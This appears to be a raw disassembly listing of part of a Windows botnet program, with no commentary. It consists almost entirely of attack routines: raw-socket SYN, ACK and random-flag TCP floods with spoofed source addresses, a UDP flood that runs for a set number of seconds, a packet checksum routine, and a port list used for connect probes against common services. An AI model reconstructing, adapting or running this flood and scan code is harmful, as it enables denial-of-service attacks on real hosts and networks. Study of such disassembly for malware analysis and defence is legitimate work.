call dword_4E30F8 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414B18
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_414B2E
; ---------------------------------------------------------------------------
loc_414B18: ; CODE XREF: sub_4148B6+233j
push [ebp+var_240]
call sub_40AF71
pop ecx
push eax
call dword_4E3138 ; inet_addr
mov [ebp+var_20], eax
loc_414B2E: ; CODE XREF: sub_4148B6+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414B4C
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414B52
; ---------------------------------------------------------------------------
loc_414B4C: ; CODE XREF: sub_4148B6+284j
push [ebp+var_B8]
loc_414B52: ; CODE XREF: sub_4148B6+294j
call dword_4E30F8 ; htons
mov [ebp+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4E30F8 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4E30F4 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+Str]
push offset aSyn_1 ; "syn"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414BA2
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414BFE
; ---------------------------------------------------------------------------
loc_414BA2: ; CODE XREF: sub_4148B6+2E1j
lea eax, [ebp+Str]
push offset aAck_0 ; "ack"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414BC2
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414BFE
; ---------------------------------------------------------------------------
loc_414BC2: ; CODE XREF: sub_4148B6+301j
lea eax, [ebp+Str]
push offset aRandom_2 ; "random"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414BFE
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414BFE: ; CODE XREF: sub_4148B6+2EAj
; sub_4148B6+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4E30F8 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+Src], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4E30F8 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AFCA
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AFCA
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4E315C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414CEB
inc [ebp+arg_0]
jmp loc_414AA5
; ---------------------------------------------------------------------------
loc_414CEB: ; CODE XREF: sub_4148B6+42Bj
push [ebp+var_4]
call dword_4E3190 ; closesocket
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset asc_44CF24 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414D49
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409D34
add esp, 14h
loc_414D49: ; CODE XREF: sub_4148B6+46Ej
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_BC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_414D69: ; CODE XREF: sub_4148B6+203j
push [ebp+var_4]
call dword_4E3190 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_44CF74 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414DDA
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409D34
add esp, 14h
loc_414DDA: ; CODE XREF: sub_4148B6+4FFj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_BC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_4148B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DFA proc near ; CODE XREF: sub_414F04+19Ap
; sub_414F04+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_414E26
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414E18: ; CODE XREF: sub_414DFA+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414E18
pop edi
cmp eax, 1
loc_414E26: ; CODE XREF: sub_414DFA+12j
jnz short loc_414E33
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414E33: ; CODE XREF: sub_414DFA:loc_414E26j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414DFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E4C proc near ; DATA XREF: sub_401CC7+6DCAo
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4E3138 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_414F04
add esp, 19Ch
push eax
lea eax, [ebp+Dest]
push offset asc_44CFC4 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414EE7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409D34
add esp, 14h
loc_414EE7: ; CODE XREF: sub_414E4C+79j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_414E4C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F04 proc near ; CODE XREF: sub_414E4C+54p
Dest = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
Src = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
Dst = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, ds:dword_4F537C
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4E3178 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax ; Seed
call _srand
pop ecx
mov edi, 578h
push edi ; Size
push 9
push 1
call sub_419551
pop ecx
pop ecx
push eax ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov esi, 5A0h
loc_414F5E: ; CODE XREF: sub_414F04+235j
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_41513E
cmp dword_4E68F0, ebx
jnz short loc_414FDD
push 10h
pop eax
mov [ebp+var_14], eax
push eax ; Size
lea eax, [ebp+var_68]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4E309C ; getsockname
push 0FFh
push 1
call sub_419551
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+Dest]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_414FF0
; ---------------------------------------------------------------------------
loc_414FDD: ; CODE XREF: sub_414F04+7Ej
lea eax, [ebp+Dest]
push offset byte_4E62D0 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_414FF0: ; CODE XREF: sub_414F04+D7j
lea eax, [ebp+Dest]
push eax
call dword_4E3138 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4E30F8 ; htons
mov [ebp+var_52], ax
call _rand
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call _rand
mov [ebp+var_40], ax
call _rand
mov [ebp+var_3E], ax
call _rand
mov [ebp+var_3C], eax
call _rand
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_414DFA
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_414DFA
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call ds:dword_4F552C ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_40]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_8C]
push edi ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_414DFA
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4E315C ; sendto
inc [ebp+var_4]
jmp loc_414F5E
; ---------------------------------------------------------------------------
loc_41513E: ; CODE XREF: sub_414F04+72j
push [ebp+var_8]
call dword_4E3190 ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414F04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41514F proc near ; DATA XREF: sub_401CC7+4D40o
Dest = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4151C6
add esp, 214h
push eax
lea eax, [ebp+Dest]
push offset asc_44D004 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
add esp, 14h
push 0
call ds:dword_4F53A0 ; ExitThread
sub_41514F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4151C6(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4151C6 proc near ; CODE XREF: sub_41514F+3Bp
Dest = byte ptr -254h
var_54 = byte ptr -54h
Dst = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
Str = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4E3178 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_415204
lea eax, [ebp+Dest]
push offset asc_44D044 ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor edi, edi
pop ecx
jmp loc_4154CD
; ---------------------------------------------------------------------------
loc_415204: ; CODE XREF: sub_4151C6+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_415230
call dword_4E308C ; WSAGetLastError
push eax
push offset unk_44D070
jmp short loc_41524B
; ---------------------------------------------------------------------------
loc_415230: ; CODE XREF: sub_4151C6+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41525F
call dword_4E308C ; WSAGetLastError
push eax
push offset asc_44D0C0 ; "-"
loc_41524B: ; CODE XREF: sub_4151C6+68j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4154CD
; ---------------------------------------------------------------------------
loc_41525F: ; CODE XREF: sub_4151C6+77j
push edi
mov [ebp+var_24], 2
call dword_4E30F8 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4F5528 ; inet_addr
mov esi, ds:dword_4F537C
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_44D104 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4152C8
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_4152C8: ; CODE XREF: sub_4151C6+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp esi, eax
pop ecx
ja loc_415483
mov esi, 41Ch
jmp short loc_4152FC
; ---------------------------------------------------------------------------
loc_4152F7: ; CODE XREF: sub_4151C6+2B7j
mov ebx, 0FFh
loc_4152FC: ; CODE XREF: sub_4151C6+12Fj
cmp dword_4E68F0, edi
jnz short loc_415356
push 10h
pop eax
mov [ebp+var_10], eax
push eax ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4E309C ; getsockname
push ebx
push 1
call sub_419551
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D_2 ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_415366
; ---------------------------------------------------------------------------
loc_415356: ; CODE XREF: sub_4151C6+13Cj
lea eax, [ebp+var_54]
push offset byte_4E62D0 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_415366: ; CODE XREF: sub_4151C6+18Ej
push esi
mov byte_4E64D0, 45h
call dword_4E30F8 ; htons
mov word_4E64D2, ax
lea eax, [ebp+var_54]
push eax
mov word_4E64D4, 1
mov word_4E64D6, di
mov byte_4E64D8, 80h
mov byte_4E64D9, 11h
mov word_4E64DA, di
call dword_4E3138 ; inet_addr
mov dword_4E64DC, eax
mov eax, [ebp+var_20]
mov dword_4E64E0, eax
lea eax, [ebp+arg_84]
push eax ; Str
mov word_4E64EA, di
call _atoi
test eax, eax
pop ecx
jnz short loc_4153DE
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4153EC
; ---------------------------------------------------------------------------
loc_4153DE: ; CODE XREF: sub_4151C6+206j
lea eax, [ebp+arg_84]
push eax ; Str
call _atoi
pop ecx
push eax
loc_4153EC: ; CODE XREF: sub_4151C6+216j
call dword_4E30F8 ; htons
mov word_4E64E6, ax
call _rand
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4E64E4, dx
call dword_4E30F8 ; htons
push 400h ; Size
mov word_4E64E8, ax
call _rand
cdq
idiv ebx
push edx ; Val
push offset dword_4E64EC ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4E64D0
push [ebp+var_C]
call dword_4E315C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4154FC
inc [ebp+var_4]
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp ebx, eax
pop ecx
jbe loc_4152F7
loc_415483: ; CODE XREF: sub_4151C6+124j
push [ebp+var_C]
call dword_4E3190 ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
imul esi, 41Ch
call _atoi
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset asc_44D1C8 ; "-"
loc_4154BE: ; CODE XREF: sub_4151C6+34Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 18h
loc_4154CD: ; CODE XREF: sub_4151C6+39j
; sub_4151C6+94j
cmp [ebp+arg_20C], edi
jnz short loc_4154F5
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_4154F5: ; CODE XREF: sub_4151C6+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4154FC: ; CODE XREF: sub_4151C6+28Bj
push [ebp+var_4]
push esi
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_44D13C
jmp short loc_4154BE
sub_4151C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415512 proc near ; DATA XREF: sub_401CC7+63E2o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4E3138 ; inet_addr
push eax
call sub_4156AF
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_44D22C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4155A7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_214] ; int
call sub_409D34
add esp, 14h
loc_4155A7: ; CODE XREF: sub_415512+73j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_415512 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155C6 proc near ; CODE XREF: sub_4156AF+191p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4155EF
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4F5530 ; connect
jmp loc_4156AB
; ---------------------------------------------------------------------------
loc_4155EF: ; CODE XREF: sub_4155C6+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4F5514 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4E30A0 ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4E30E0 ; select
test eax, eax
jnz short loc_415653
or eax, 0FFFFFFFFh
jmp short loc_4156AB
; ---------------------------------------------------------------------------
loc_415653: ; CODE XREF: sub_4155C6+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_41565E
loc_41565A: ; CODE XREF: sub_4155C6+B8j
; sub_4155C6+DCj
mov eax, edi
jmp short loc_4156AB
; ---------------------------------------------------------------------------
loc_41565E: ; CODE XREF: sub_4155C6+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_43ABA2 ; __WSAFDIsSet
test eax, eax
jnz short loc_415680
lea eax, [ebp+var_210]
push eax
push esi
call sub_43ABA2 ; __WSAFDIsSet
test eax, eax
jz short loc_41565A
loc_415680: ; CODE XREF: sub_4155C6+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4F54FC ; getsockopt
cmp eax, edi
jz short loc_41565A
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4156AB: ; CODE XREF: sub_4155C6+24j
; sub_4155C6+8Bj ...
pop edi
pop esi
leave
retn
sub_4155C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156AF proc near ; CODE XREF: sub_415512+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], esi
call ds:dword_4F5524 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4E6960, eax
call dword_4E30D8 ; setsockopt
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_4157F3: ; CODE XREF: sub_4156AF+1BEj
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
